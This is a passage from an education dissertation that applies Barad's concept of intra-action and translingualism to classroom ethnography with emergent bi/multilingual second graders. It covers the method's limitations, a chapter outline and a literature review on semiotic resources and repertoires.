his skin… his attempts to decode the black scrape marks on the frame of our bedroom door into sounds and words Before Neel can speak, I hear and feel being with him in the foam pit in gymnastics, with the giant foam squares, as my body momentarily becomes a ladder, my shoulders and head as steps The hummed tune of “Summertime” from Porgy and Bess as lullaby As language educator creating material discursive transcripts of a second grade classroom, I began to question, “What is a sound in relation to language? What is movement in relation to language? Does language have to communicate information? What is a mark in relation to a sign? With translilingualism, melding with the blur or Mandarin I don’t understand and other “kid sounds” in the classroom that the human translator note cannot be translated was the blur in our home between English and Bengali, and Neel’s words in Hindi he learned from school. Language was also blurred with what else Neel claimed to speak with these named languages such as “Minion”, referring to sounds produced by the yellow cartoon characters, another language he calls “baby”, and a made up language he refers to as “my language” which has unique and changing meanings always seemingly contrary and opposite to those of the English I speak to him. Just as an intra-active analysis of classroom moments, entangled are my questions from home of where do I begin and end my analysis of language in my home when mark on door/race car/mammatupe/English/Bengali combine in the same moment, seemingly leaking into each other? As a researcher and parent, I notice fragments of sounds, some of which might be considered gibberish, that can’t be translated. Neel’s playful sounds that are Bengali-ish, but are unintelligible to any Bengali speaker and made up sounds of “mammatupe” that I can’t understand are deeply meaningful in other ways. In these ambiguous sounds, gibberish, images, and movement there’s a possibility for connection in this research and in my relatively new nuclear family out of what might not be understood. Rather than *doings that mean*, such are *meaningful doings* that in the transcript creation intra-act with what might be thought of as a largely English-dominant life in the town of Oakville school and the English-dominant classroom of Room 246. These examples of visual narrative creation suggest how Barad’s concept of apparatus is significant to my process of working with video to create transcripts, and the knowledge produced with them. That is, the apparatus of experiences as a parent negotiating multiple verbal and written languages with other ways of making language intra-acted with how as researcher I worked with and made sense of sounds, movement, and images of the video. Barad (2007) writes that “data itself can be a constitutive force, working upon the researcher” (p. 534), rather than only the researcher rendering and shaping the data. As such, as I was affected by the research, re-working the material-discursive transcripts as novice researcher, the experience of creating transcripts in research was re-working me as a parent. **What a Material Discursive Data Analysis Makes Possible** This data analysis method makes possible different findings than thematic coding or multimodal discourse analysis for several reasons. First, rather than categorizing named themes through written labels, I can thus hone in on the simultaneous yet different stories the video data filmed by different children and myself tell. Thus, the material-discursive transcripts entangle qualitative field texts and the experience of working with them. It furthermore inspires attending to images, sound, and text that might be surprising and not fit with the given the task of a moment, exploring what else might be happening that is not expected. In addition, I can focus on micro-moments that produced a visceral response in myself, teachers, and children that might not be evident through thematic coding (MacLure, 2013), such as not understanding Chinese and English, or student’s wide variety of reported feelings toward the tablet. Last, because each original literacy moment continued to be experienced throughout the school year through video/photo elicitation interviews with recollections from schooling in China, the material-discursive transcripts also inspired juxtaposing images and text, creating a visual narrative demonstrating how for emergent bi/multilingual children, times and spaces of U.S. second grade and school in China were not linear. VI. Potential Limitations and Complications of a Diffractive Approach In the previous section I detailed what diffraction as an approach to classroom ethnographic research produces and what it makes possible. I now turn to what the concept of diffraction might *not* do. What might be the limitations or compromise of taking this approach. Trying out multiple theories, riding these waves with data, and what these produce are as Barad (2014) notes, returning over and over again “iteratively intra-acting, re-diffraacting, diffracting anew” (Barad, p. 168). Given intra-action is an ongoing activity, this diffraction of theories and data is ongoing, resistant to closure, and open-ended. Barad also likens intra-action to an earthworm in a compost heap, “ingesting and excreting” data and theories “tunneling through” them, “burrowing” around them (p.168). While Barad notes this process enables the circulation of oxygen “opening it up and breaking new life into it” (p.168), I also endured a process of multiple near and simultaneous suffocations amid the diffraction in Room 246. Let’s return to the image of riding the waves of the diffractive boat noted earlier—a clunky, heavy, theoretical and methodological vessel. Old waves now dismantled are still present or active in the new waves. Previous experiences of analysis still come to bear in ways on the more recent analysis found in the chapters in this dissertation (Murris & Haynes, p.74). Yet it’s the heaviness, the clunkiness, the complicatedness of this ship that made me nervous. Amongst the process of open-ended surfing, in this project there were also fallings off, modifications of the boat, metaphorically reluctantly drinking large gulps of water as I nearly gagged, coming close to drowning, hanging onto this boat always in construction. With intra-action, there’s a risk that the apparatus constructed contemporaneously, while intended to facilitate a valiant attempt of exploding out of methodological and pre-determined social identity categories, produces yet another lens or machine that needs to be exploded out of. While the diffractive approach taken in this project emphasizes the new opportunities for engaging in classroom literacies through our connections, this also comes with significant tensions. First, there is a risk of suffocating through our connections and entanglements. For example, Xi Xi Lu and Madeline indicate tablets and the Google Translate neural network are often a limiting tether, as I elaborate in chapter four. I also wonder if a diffractive apparatus limits Xi Xi Lu, who perhaps often is trying desperately to free herself just a little bit from Madeline, who across moments follows her around a little more than she might like, asking her lots of questions, looking up to her in ways are sometimes constraining. I note particularly in chapter six my fear that the perspective of language the research brings into the classroom threatens to masque children’s words and stories. The noted risks of entanglement stem from intra-action (Barad, 2007), which poses the boundaries of bodies broken down. Yet this has particular ramifications for working with humans depicted as at risk of assimilation and marginalization (Brown, 2009; Compton-Lilly et al., 2016; Dagenais et al., 2006; da Silva Iddings, 2005; Devine, 2009; Katz & da Silva Iddings, 2009; Maguire & Curdt-Christiansen, 2007; Sun, 2016; Toohey, 1998; Walters, 2011; Willett, Intra-action, which suggests all entities including human bodies as slightly melted, not individual, is perhaps too familiar to a melting pot ideology historically linked to assimilation and marginalization with culturally and linguistically diverse children in schools and society. Does such a concept put Xi Xi Lu and Madeline at risk of being un-noticed and their voices less-heard as they are intermixed and melded into simultaneous perspectives in the classroom? One of the many contributions of the translilingual perspective I work with is that empirical examples overwhelmingly center the stories of children and adults of non-dominant racial, linguistic, and cultural backgrounds in schools and communities. Canagarajah (2013), for example, suggests that with the movement of people, the semiotic resources available across differing spaces and times are not equal, spawning relations with power differences. It might therefore be critiqued that by bringing a posthuman turn in education into conversation with translilingualism, there is a risk of de-centering humans who have been historically marginalized—in this case emergent bi/multilingual children not having the same privilege as bilingual or English-proficient children given being perceived as different racial, ethnolinguistic background, and cultural practices as their schools and teachers. Such a critique might be purported given the few empirical examples in early childhood literacies from a feminist new materialist perspective that consider the implications of this theoretical orientation for children potentially marginalized due to race, class, and language proficiency (see Kuby, Spector, & Thiel, 2019; Thiel & Jones, 2017; Zapata et al., 2018 p. 490 for exceptions—a more general discussion of this critique is noted in Dermikos et al., 2019; Nichols & Campano, 2017; Rosiek, 2019; Schulte, 2019; Springgay & Truman, 2018). By storying my entanglement as researcher, and the power of also less-noticed cameras and video that I worked with in the stories of research, is there a loss by not foregrounding biographical stories of children’s identities inside and outside their classrooms that we are used to reading in research with bi/multilingual children in classrooms? Attending to less normalized ways of conceptualizing meaning beyond what is transmitted through meshes of visible, verbal/written, embodied gestures, and objects, are these stories too abstract and impractical to be palatable to in-service teachers and those doing important work in schools and classrooms with emergent bi/multilinguals? If these stories are not believable, does this make English continue as the hegemonic verbal/written language in schools because it is what is more easily understandable? Does not necessarily focusing language as symbolizing and suggesting an idea that is recognizable risk one means of connecting with family members across generations and peers in a school? I write of these tensions particularly across chapters five and six. To Barad (2007), “Discourse is not what is said; it is that which constrains and enables what can be said…statements and subjects emerge from a field of possibilities” (p. 146). By diffracting theoretical ideas based on statements and doings pertaining to how Madeline, Xi Xi Lu, peers, teacher, and myself recognized language in their classroom, is this analysis being led astray? Are these different ways of making sense of language merely what were enabled and disabled at different points throughout the research—with tablet computer, as child with adult researcher, as “English Learner”, and with parental/school/university/disciplinary field expectations? Finally, if one of the significant rationales of Barad’s agential realism is to study the play-by-play of changes in language making by which opportunities (are not) created in classrooms in schools, and for whom, how can we tease out such differences when they are entangled, not able to be parsed out into entities, when “the production of the new can’t be located…” (Barad, 2007, p. 383). Thus, how can we tease out what differences matter, when differences are entangled and cannot necessarily be recognized? I write about these tensions in chapters five and seven. **Responding to Limitations** Despite these gnawings and frictions that continue to work on me as researcher, I am also invigorated by the potential; a diffractive approach to classroom ethnography can make possible a *re*-centering of children and the nuances that comprise and re-comprise them. This orientation aligns with Dernikos et al. (2019) who note that a decentering of human as individual does not suggest a rejection of the human or humanity. Schulte (in press) similarly elaborates that rather than a decentering, theories of posthumanism have the potential to re-center children, given that just as humans categorized as minoritized on other ways, children have historically not been considered fully human such that they have been characterized as lacking and in-process in contrast to a fully developed, rational adult. Schulte argues that rather than decentering children, posthumanist theories make possible engaging in a process of “re-centering (children) …within a broader and more complex set of material relationalities” (“teaching/working with children”, para. 4). In this dissertation, I take the stance that a diffractive shift can widen our gaze such that when an autonomous emergent bi/multilingual child is not the primary unit of analysis, this allows attention to the uneven distribution of forces of power, intensity, and tensions that have historically constructed these children as less equal, less counted, less heard, and less understood as human. By attending to such forces in analysis, there is the potential to *re*-center emergent bi/multilingual children by an analysis that gets to the emergent and dynamic nuances of such inequalities as they dynamically enfold. Attending to such nuances can take account of how ways of being perceived, sound, silence, written marks, and a blank page are materialized as (not) foreign, (not) belonging and engaged. Just as such an analysis can re-center children and the nuances that comprise and re-comprise them, diffraction can similarly re-center language as a more expansive way of expressing and connecting and re-center the knowledge of different kinds of experiences and knowings that have been less counted in qualitative research (Paris & Winn, 2013). Despite this hope, throughout the dissertation, I continue to work the tensions as noted in this section, engaging them, and staying with them. Throughout the dissertation I also argue that it is these often ghostly and gnawing tensions themselves that are productive of what becomes engaging in moments in Room 246, even if we are not ready to recognize them as such. VII. Significance of the Study and Outline of Proceeding Chapters Organization of Chapters and Arguments Made In this chapter (one), I outline in broad strokes the purpose and nature of the research. In addition, the emphasis of this chapter is to show how diffraction as an approach to classroom ethnographic research makes possible engaging the tensions present in seeing, hearing, and feeling language in ways that recognize another pathway of engaging in Room 246. I story the process of classroom research as diffractive, showing how this works both when in engaging in fieldwork and analysis. Chapters three through six show how ‘engagement’ manifests differently through the different enfoldings and tensions in language making. In chapter two, I show how diffraction theoretically makes possible recognizing other ways of engaging in classrooms than have thus far yet to be elaborated in empirical scholarship on young English learners in linguistically and culturally diverse K-5 classrooms. In chapter two, I layout the theoretical framework for language making. This consists of diffracting the socio and applied linguistic concepts of resources as semiotic (van Leeuwen, 2005) and mobile (Blommaert, 2010) comprising children’s “semiotic repertoires” (Kusters et al., 2017) situated within translingualism (Canagarajah, 2013) with philosopher-physicist Barad’s (2003/2007) concept of “intra-action”. In chapter three I put these concepts to work to make sense of how engagement manifests in a science investigation and diffraction works to theoretically construct what I call language making in Room 246. With this example, I show how the sociolinguistic terms “repertoire”, “resource” and “meaning”, when diffracted with an intra-active practice lens, come to suggest engagement can be something different than a human participating in communication. Particularly, I suggest that even though there were not social connections amongst linguistically and culturally diverse peers, mistranslations between Korean/Chinese/English, and different ways of doing school, there were other connections happening in the classroom that we were not recognizing. Specifically, I argue engagement transpires through 1) often a-signifying affective connections between players and partners in language (children, memories of schooling across the U.S. and China, Chinese, singing of the refrain “Méi yǒu huà , La La, La”, and a tablet computer that exist in the contrasts between how these participants can exist in U.S. and Chinese classrooms and 2) players and partners in language making (children, researcher, tablets, Chinese, and an ice cube keeper) rework each other, becoming resources for each other. This is to say that children have different possibilities when materials do too. Children with materials are able to be viewed as ‘successful’ in science through each other. These happenings exist alongside the translingual communication of the blog post that only Patrick, Xi Xi Lu, and Madeline can understand. I suggest how these together render a dynamic and collective conceptualization of “repertoire”. Chapter four is focused on opening and making more visible the process of engaging (machine) translation in linguistically and culturally diverse classrooms. By translation, the focus is not between textual language pairs, but the process of translation occurring both on and off the page and screen with moving image, text, student teacher, Xi Xi Lu and Madeline, software, hardware, and Google Translate neural network. Thus, the chapter is concerned with what opportunities can be recognized and cultivated in classrooms beyond focusing on the perhaps tidier immediate translation of language, but rather the often messy connecting in language together across a moment of writer’s workshop throughout the second grade year. An argument put forward is the need to recognize the relations and collective agency between emergent bi/multilinguals and technology. This extends current empirical work in classrooms with machine technology, which are largely concerned with the question of the accuracy of machine translation for language learning purposes. In this chapter, I tell two stories pertaining to a moment during the writer’s workshop with Google Translate that was recognized as engaging. The first is a moment of composition in translation during the writing workshop, when mistranslations abounded between student, teacher, emergent bi/multilingual children, tablet, and the Google Translate application. The second moment relates to how, over a three-year period, I work with the object of a funnel as a way to tell this story. The chapter argues that a toggling or bouncing back and forth between communicating (recognizably symbolizing signs) not communicating (mistranslation), and affective connections through the mistranslations and what each produces together create a generative pathway for engaging in Room 246 despite the risk of mistranslations and not understanding. The chapter suggests that the tensions in these different iterations of language are significant because they propelled innovation and a continued experimentation with the tablet. It is this experimentation with the tablet and Google Translate that produced a pathway making it possible throughout the school year to write in English, Chinese, blog science, and social connections with teachers and later peers. The chapter ends with connections to classrooms. That is, it asks how educators might be part of engaging tensions to inspire possibilities of composing with Google Translate and inspiring translation as a moving of language making, and poses several ways this process might be put in motion. Chapter five is the only chapter not specific to mobile technologies. This is an analysis of the third most significant moment to Xi Xi Lu and Madeline in their second grade year. During circle time second graders contest the meaning and origin of marks on sticks during a presentation of the Korean game Yut Nori. This chapter returns to ways of noticing engagement originally presented in chapter three, building upon these ideas. This analysis is theoretically oriented to space and time, and how these are significant to engagement and language. Guiding the inquiry of this moment is 1) How do the contrasts of language making across multiple spaces and times contribute to recognizing engagement? 2) How do classroom repertoires of room 246 emerge across multiple spaces and times? In this chapter I diffract recent perspectives in sociolinguistics on scalar analysis as rhizomatic and materially-negotiated (Canagarajah, 2017, 2018b; Canagarajah & De Costa, 2016) with Barad’s (2007/2010) concept of spacetimemattering. ‘Scale’ as it operates in the socio and applied linguistics scholarship I work with is a frame adapted from social geography and world systems analysis as a way to conceptualize what comes about from the nuances of multiple spaces influencing each other and converging in different ways. Barad (2007) also refers to her concept of spacetimemattering as an agential reading of scales. Diffracting these two different approaches toward scale, I consider the stories of the Yut Nori moment as meshed local/global space, time and matter, ‘transglocltimatterings’. I borrow the phrase “transglocal” from Scott and Dingo (2012) as a succinct linguistic meshing to characterize an interpenetrating local and global space, where local/global can’t necessarily be distinctly defined. With the post-election pajama day Yut Nori moment, I make three arguments. The first is that repertoires of the classroom during the Yut Nori moment are dis/continuous and dis/located transglocltimemattering. That is, they are materializations comprised of multiple transglocal spaces, times, and human/non-human comings together, and the ambiguous relations of power these co-broker together in a circle on the classroom rug. I work with Barad’s term “dis/continuous” and what through diffracting concepts I refer to as “dis/locat(ion)”, to refer to the contrasts occurring when different times and spaces are brought together. I show how the moment was flush with ambiguously enfolded relations of power linked to memories and moments across China, Korea, and America. The second argument I make is that despite the tensions and ambiguities of language making across different times and spaces that seemingly cut players and partners in the classroom apart, these juxtapositions of the dis/continuous and dis/located harnessed with the circle in Room 246 provide yet another way to recognize engagement. For the third argument, I return to an argument made in chapter three, calling for an additional approach to conceptualizing repertoires in classrooms with young children. This argument builds upon the socio and applied linguistics concept of “spatial repertoires” (Canagarajah 2018a, 2018b, 2018c; Pennycook & Otsuji, 2014/2017; Pennycook, 2017; 2018a; 2018b). This conceptualization suggests recognizing the repertoires of classrooms are enfolding transglocalmatterings such that disjunctures within and across repertoires are engaging. As will be elaborated throughout the chapter, this is a different pedagogical approach than identifying particular combinations of objects, items, sounds, texts that combine to provide particular ways of engaging in classrooms that can be replicated. Chapter six serves two purposes. First, the chapter serves as a summation, drawing together pivotal points that are key to the relationship between language making and engagement in Room 246, the focus of inquiry in this dissertation. Second, this chapter returns to the discussion of video and video elicitation interviews as discussed methodologically in chapter one. This chapter centers around Barad’s concept of apparatus, considering how video is a player and partner in classrooms and critical to the methodological research apparatus. Thus, this chapter explores how the knowledge-making or pivotal points of this dissertation are made possible in the relations between researcher, children, camera lenses, and viewing software that occur in the process of producing, watching, and editing video. To this inquiry, this chapter diffracts notions of videography or photographic image making *as* it might exist as a body (Änggård, 2015; Canton & Hackett, 2019; de Freitas, 2015/2016; Harwood & Collier, 2019; Kind, 2013; Magnusson, 2018; Murris & Babamia, 2018; Taffel, 2012; Wargo, 2018; Wanono, 2014) and *with* a human body (MacDougall, 2006; Pink et al., 2017; Sumartojo & Graves, 2019; Sumartojo & Pink, 2017). This inquiry works with scholarship in visual/digital ethnography and early childhood education to suggest how video constructs an apparatus that can simultaneously close and open opportunities for classrooms with emergent bi/multilingual children. Chapter six asks the following questions: How does the relationship between researcher, children, video cameras, software, the position of harnesses and tripods attached to cameras and video created enable seeing, hearing, and feeling the relationship between language making and engagement? That is, how does the material characteristics of cameras, harnesses, tripods, pixels, and software augment children and researcher as they watch, produce, and edit video of the classroom? How does this process augment what additional video is produced? How does working with video and cameras shape the knowledge creation of the dissertation and propel new iterations of language making? Chapter seven re-states the arguments of the dissertation and contributions it makes both to classrooms with linguistically and culturally diverse children and educational research. In this concluding chapter, I first suggest how this work contributes to two academic research areas, teaching K-12 emergent bilinguals and early childhood literacies from a new materialist perspective. I next suggest connections of this work for moving with and playing in language making, such that the notion of translation can be opened in K-5 linguistically and culturally diverse classrooms and pre-service teacher education. I also propose how I intend to move this work further through an action research project working with video; in-service and pre-service teachers; and children that builds on the work of recognizing language making and additional ways of recognizing engagement in this dissertation, while also connecting to former work in teacher education and professional development in linguistically diverse schools. Chapter 2. Diffracting Translingualism and Intra-Action as a Theoretical Approach to Hearing, Seeing, and Feeling Language Making This chapter is organized into two sections. First, in order to theoretically engage the multiple ways language making was conceptualized in Room 246, I introduce diffraction as a theoretical approach and what it accomplishes. Second, I elaborate in more extensive detail the two bodies of research that I work with to theorize language making in Room 246: translingualism and intra-action. While these two research areas are introduced in chapter one, chapter two more comprehensively outlines what each of these can do in analysis and gives empirical examples of how they have been put to work in previous scholarship. The objective of this chapter, ultimately, is to set the stage of chapters three through six in which translingualism and intra-action are put to work diffractively. Specifically, I theoretically engage translingualism (Canagarajah, 2013) with the concepts of resources as semiotic (van Leeuwen, 2005) and mobile (Blommaert, 2010) together with the concept of intra-action (Barad, 2003/2007) as situated in young children’s literacies. Diffraction: A Theoretical Approach Theoretically, the concept of diffraction (Barad, 2007) puts the multiple perspectives of language making to work in the analysis of the science investigation, writing workshop with Google Translate, Yut Nori sharing, and moments across the school year. The decision to play with these concepts and orientations was born out of sailing and floating the waves of research described in chapter one. In what I am calling sailing and floating Davies (2014b) calls “listening”, “in a set of diffractive movements” (p.740). Thus, translingualism and intra-action are ‘best fits’ to listen to language making in Room 246, responding to the waves of what was produced in the course of the research. With these concepts as a framework, I attempt to “listen” to as Davies’ (2014a) notes, or rather to notice, not just children, but players and partners coming together and apart in the language making of the classroom, focusing on what this does, and what this produces in terms of different ways of engaging over the course of a school year. In putting intra-action and translingualism into conversation, I do not attempt to create a new concept or paradigm, but rather play with the “resonances and fruitful dissonances” (Barad, 2007, p.147) of these already existing concepts across theoretical traditions and scholarship. Just as Barad (2014) demonstrates through her diffractive writing and Mazzei and Jackson (2019) note, I show that diffraction is not merely bringing multiple theories together to speak to different aspects of the data. Rather, with diffraction, researcher enters into an emergent process with the theories and data so as to compose the stories these theories tell *together* rather than the *variety* of stories that each separate theory inspires. Explaining this distinction, Mazzei and Jackson (2019) and Mazzei (2014) note that diffraction is a process of *breaking open* theories with data as opposed to juxtaposing them, such that they not only produce a different story together, but no longer exist in the same way, at least not when in contact with particular data. Furthermore, theories-data do not “negate” each other when they come into contact (Murris, 2016), nor uncover a better reading or a more accurate truth (Lenz Taguchi, 2012). Instead, theories *with* data come together to extend each other (Murris, 2016) and *produce* difference as opposed to documenting where differences exist (Davies, 2014b). Diffraction serves the purpose of perhaps uncovering one of many other realities that may not have been previously visible without this intermixing of lenses. Through the process of diffraction, the following questions seek to be answered: “what does this difference produce? What is the process by which this difference came to be? What is involved?” Therefore, when diffracting intra-action and translingualism, these concepts and orientations do not have a singular way of coming together with each other. Rather, concepts as material become activated with the material of the field texts from each moment. These are furthermore joined with our words and embodied movements responding to the video differently of these moments. The ontological relationships of intra-action and translingualism blur and change. Intra-action and translingualism come together, manifesting and re-manifesting within each story and chapter, not able to be predicted. Theories with fieldwork lead to different aspects of the concepts to be put to work with each other. Some of the variations produced with the moments of the second grade school year include the consideration of “semiotic resources” with affective forces felt (story one, chapter three), “meaning” simultaneously as indexed and “material-discursive” (story two, chapter three), “resources” with the ontological re-workings of “intra-action” (story three, chapter three). Other materializations of the concepts with fieldwork are “communication” with “entanglement” and affective connections (chapter four), how intension conceptualizations of scales across approaches changes conceptualizing “repertoires” (chapter five), and how the “apparatus” of video as and with a human body transforms stories told in research (chapter six). Because the orientation of translingualism I work with and intra-action have ontological stances typically thought to be incompatible, the focus of analysis diffracting intra-action and translingualism often centers on the incompatibility of what happens as the stances of these concepts with fieldwork mingle in a tension-filled blend. Iterations of the concepts fusing ontologically is therefore often like discordant crashings and awkward meldings. The theoretical focus of inquiry is how the stories of such crashings produce and provide additional ways to make sense of different opportunities to recognize engagement in Room 246. Such stories of difference are significant to producing change of consequence in the world, classrooms, and society (Davies, 2014b). To visualize how diffraction works theoretically, I return to the illustrations of rocks and pencil shavings from chapter one (see Figure 2.1). Each iteration of language making is shown by a configuration of two rocks and pencil shavings. In Figure 2.1, imagine each rock like the concepts of intra-action and translingualism coming into contact with each other. In the visual, yellow labels refer to how intra-action put together with translingualism (green labels) come together differently in each story and moment throughout the dissertation. *Figure 2.1.* What diffraction makes visible with theories and moment. Imagine the multicolored pencil shavings in figure 2.1 as the changing material of fieldwork coming into contact with the concepts. Imagine that the changing field texts and factors impacting each different moment in the classroom changes the rocks, the concepts. Over the course of the school year, imagine these concepts like rocks hitting against each other, becoming jagged and chipped, then smooth again from coming into contact with each other. Just as the rocks might change from smooth, rough and then back again, so too do the concepts and orientation of translingualism and intra-action transform each other, push on each other, extend each other such that they temporarily have different characteristics without negating or destroying the other. Just as there are different iterations and formations of what we think of as the rocks, the same happens with the concepts that transform each other in analysis with fieldwork. Just like the changing of rocks affecting the patterns of waves, so too do concepts differently coming into contact with each other transform the colors and textures of the stories that can be told of Room 246. **Theories and Orientations Diffracted in Analysis** **Translingualism** In this section I outline in detail the orientation of translingualism I work with and examples of how the concepts have been taken-up in empirical scholarship in settings most like my fieldwork: multilingual and intercultural settings, particularly K-5 schools. The version of translingualism I work with conceptualizes communication comprised of resources that are semiotic (van Leeuwen, 2005) and mobile (Blommaert, 2010). **Resources as Semiotic and Mobile.** By semiotic resources I refer to symbols, images, and signs, written and verbal languages, visuals, human’s embodied movements and gestures, and material objects embedded in a social and physical setting that *combine* to make meaning and communicate (Canagarajah 2013; 2018a, 2018b). This conceptualization parallels van Leeuwen’s work in social semiotics where the term ‘resource’ is strategically employed in contrast to the term “sign” in order to emphasize the fluidity of a sign such that it can index differently situationally. Just as with van Leeuwen’s work, translingulism emphasizes a severed relationship between sign and signifier. To further characterize them as semiotic, the term “resources” 1) implies meshes of communication beyond verbal/written where semiotic and linguistic are not parsed out as separate systems, 2) a practice-orientation to language rather than a focus on acquisition, 3) a focus on human meaning making for social everyday purposes, 4) that material characteristics of resources change the outcome of the interaction (Andersen et al., 2015). As Canagarajah’s (2013) conceptualization of translingualism emphasizes, a significant addition of Blommaert’s work (2010) is how resources operate across superdiverse settings, from one transnational context to another. Blommaert frames his work in the sociolinguistics of globalization, arguing that semiotic resources are “mobile”. Thus, when “linguistic signs” (text and images) are ‘re-placed’, or put in different situational contexts, they are taken up differently, matter differently, and a whole new set of attributes are linked to them. Just as van Leeuwen does, he considers “linguistic signs” as “open signs” that can be layered with multiple meanings depending on the situational context, and often do, suggesting that in different “sociolinguistic systems” even within the same physical setting, different meanings can be subscribed. The translingual orientation I work with requires van Leeuwen and Blommaert’s work together. What van Leeuwen’s conceptualization of resource adds to Blommaert’s is a focus on more-than-verbal and written aspects of classroom practices. Whereas Blommaert’s empirical examples are more focused on verbal and written examples, his theorizations are more oriented to working across transnational settings than van Leeuwen. Therefore, I claim both are needed to theorize the semiotic and mobile nature of resources in Room 246. Across empirical examples in linguistically and culturally diverse settings, participants in interactions such as children, teachers, gestures, overhead projector, PowerPoint slides, tapping, and pens are thought to be ontologically separate. Resources available moment-to-moment are thought to be determined by humans’ actions, with a focus on co-constructing meaning that provides information (Blair et al., 2017; Kusters, 2017; Lin, 2018). For example, Lin’s (2018) study in a grade nine English medium classroom in Hong Kong between a Cantonese-English bilingual teacher and Urdu-dominant youth learning English argues students negotiated communication through a variety of semiotic resources such as English/Urdu words and phrases, facial expressions, and hand and body gestures in order to collectively arrive at the academic English word “cause”. Through this example, Lin demonstrated how semiotic communication both enabled the teacher to understand student ideas in relation to the science content, and the students to initiate a topic shift from the teacher’s initial pedagogical intention. In Lin’s analysis, verbal resources seem to be given precedence given the pivot point in the featured empirical example is a spoken word. Lin’s other examples emphasizes embodied meaning-making is noted as a resource, while material objects such as the overhead projector and PowerPoint slides do not seem to count as resources in her analysis. Similar to my stance, in other empirical examples, verbal/written resources are not seen as hierarchically apart from material objects, such as Blair et al. (2018). One such example suggests that in the communication of scientific information through a blog post during a science investigation, the words “melt”, “ice”, “cup” were not needed as these were communicated through an image. In another example in a study in a metro South-Asian market between adult deaf and hearing individuals, social anthropologist and deaf studies scholar Kusters (2017) argued a different “tray of semiotic resources” are available from moment-to-moment in different seller and buyer interactions. In this case, the “tray” or palette of semiotic resources available from moment-to-moment included different combinations of Indian sign language, signifying head bobbles, gestures, mouthing of words, facial expressions, showing of material objects, pointing, and tapping. Similar to Blair et al. (2018), to Kusters (2017), but different from Lin (2018), material objects such as boxes of pens, pens, and calculator count as resources. However, like Lin (2018), Kusters (2017) argues what is available moment-to-moment is largely determined by proceeding humans’ actions. Kusters suggests when a particular interlocutor does not take up a particular signifying gesture or word presented in the exchange, that a particular semiotic resource is dropped from the available tray, thus altering options for both participants in that moment. She argues that those with sensorial asymmetries, (deaf) and hearing people, have unequal access to semiotic resources. My stance is that similarly, children in Room 246 with differences in spoken language backgrounds have different and often unequal access to the semiotic resources needed to perform in a particular space, such as an English-dominant classroom. In the case of Room 246 there are differences not only across different named language backgrounds, but differences between different children and adult’s physical access to work with classroom resources across moment-to-moment negotiations. **Repertoire as Semiotic and Individual.** The sociolinguistic term of “repertoire” is related to resources in that it is an umbrella term that describes the individual capacities produced through dynamically shifting semiotic resources (Blommaert & Backus, 2013). Repertoire as it operates in chapters three refers to how a child, based on their capacities or skills, assembles or strategically deploys semiotic resources in order to enact communicative practice (Canagarajah, 2013). One of the distinctions with the term repertoire is whether an individual’s repertoire is thought to be largely oriented to written and verbal resources (Hornberger & Link, 2012; Martin-Jones and Jones, 2000), or resources that include verbal and written with semiotic resources, which have been termed “semiotic repertoire” (Kusters et al., 2017) and “communicative repertoire” (Rymes, 2014). In chapter four, I consider other conceptualizations of repertoire as attributed to particular spaces rather than an emergent property of an individual (Pennycook, 2018a, 2018b; Canagarajah, 2018a, 2018b). In the field of sociolinguistics, the term of “repertoire” is one which evolved from the foundational work of linguists Gumperz and Hymes (1972/1986), which oriented toward variations of *verbal* aspects of language that pertained to *communities* rather than individuals (Blommaert & Backus, 2013; Kusters et al., 2017). More recently within the field of sociolinguistics, due to mobile transnational realities where mobile individuals may have repertoires not tied to ethnolinguistic communities, repertoires have been considered as the unique attributes associated with each human’s individual experiences. Many scholars suggest repertoires are thus more patterned or sedimented ways that resources accumulate in particular ways over time (Blackledge & Creese, 2020; Blommaert & Backus, 2013; Canagarajah, 2018a). Blair et al. (2018), however, drawing on Paris & Alim (2014) emphasize how children build dynamic repertoires, de-emphasizing the patterns of such capacities. The notion of “repertoire” resonates with an asset-based funds of knowledge approach within education with emergent bi/multilinguals in schools and classrooms (González, Moll, & Amanti, 2005) because “repertoire”, just as a “fund of knowledge”, presupposes knowledge. This is because having a particular repertoire, be it verbal/written/cultural knowledge, is predicated on knowing how to use the resources it combines” (Blommaert & Backus, 2013, p. 3). For example, in the proceeding chapter for Xi Xi Lu and Madeline, by acknowledging their combining of Mandarin singing, ways of using the tablet and its applications, Chinese writing, and embodied gestures as a repertoire to taunt their peer Patrick, I note their competence as languagers in alternative ways from knowledge of English grammatical structures (Blommaert & Backus, 2013; Canagarajah, 2018b). Vogel et al.’s (2018) case study works with the concept of “repertoire” to illustrate sixth-grader Fu-han, recently arrived in New York City’s Chinatown from China, working with the machine translation software Google Translate during his English class. Similar to an interactive analysis of the science investigation (Blair et al., 2018), Vogel et al. (2018) understand Fu-han’s semiotic repertoire to be comprised of his capacity to “interact” and “tinker” with the software, Chinese, English, and his ability to negotiate between these resources in order to make meaning and learn. Fu Han and the tablet being ontologically separate is particularly evident when Vogel et al. argue for separately considering Fu Han’s “student-generated” writing where Fu Han uses his ‘own’ words, and the “machine-translation-enabled language” (p.99) in analysis. They advocate for not attending to the “machine translation-enabled language” as the end-product, but rather Fu-Han’s full semiotic repertoire to negotiate writing in Chinese and English, both his capacity with and without the translator. While Vogel et al. advocate for legitimizing working with the translator, they also voice a concern that the nuances of Fu-Han’s full repertoire, his capacities and how he might extend his learning has a risk of becoming lost in the machine-student assemblage. Different from Vogel et al. (2018), Blair et al. (2018) emphasize children’s semiotic repertoires involve existing, but also dynamically evolving repertoires in interaction with technology, just as peers and family members (González et al., 2005; Paris & Alim, 2014). Moving out of classroom contexts, sociolinguist and linguistic ethnographers Blackledge and Creese (2017/2020) analyze interactions between buyers and sellers in a meat market. They are interested in an individual’s capacities to communicate with their body. Blackledge and Creese suggest that when having different linguistic and cultural backgrounds, buyers and sellers in a commercial environment draw on their own semiotic repertoires of embodied communication such as touching, pointing, laughing, looking at each other and in the same direction, and bodies facing each other to enable a social relationship that makes possible further commercial exchanges. This study is significant because it suggests just as in the proceeding moments of analysis, children moving their bodies in particular ways, such as falling over and laughing, demonstrates a way of knowing critical not just for negotiating information, and doing science, but also forming social connections with peers. **Intra-Action** This section outlines the concept of intra-action (Barad 2003/2007) and the empirical scholarship in young children’s literacies that shape how this concept is significant for classrooms with emergent bi/multilingual children. One aspect of this body of work inspires practices of writing and literacies as including but far beyond alphabetic composing. It makes possible viewing literacies as an open-ended process-oriented experimentation where children emerge in classrooms and afterschool spaces with materials such as **paper, glue, tape, furniture, cardboard, yarn and cloth** (Ehret et al., 2016; Hollett & Ehret, 2017; Kuby, 2018; Kuby & Crawford, 2017; Kuby & Rucker, 2015/2016; Kuby, Rucker & Darolia, 2017; Kuby, Rucker, & 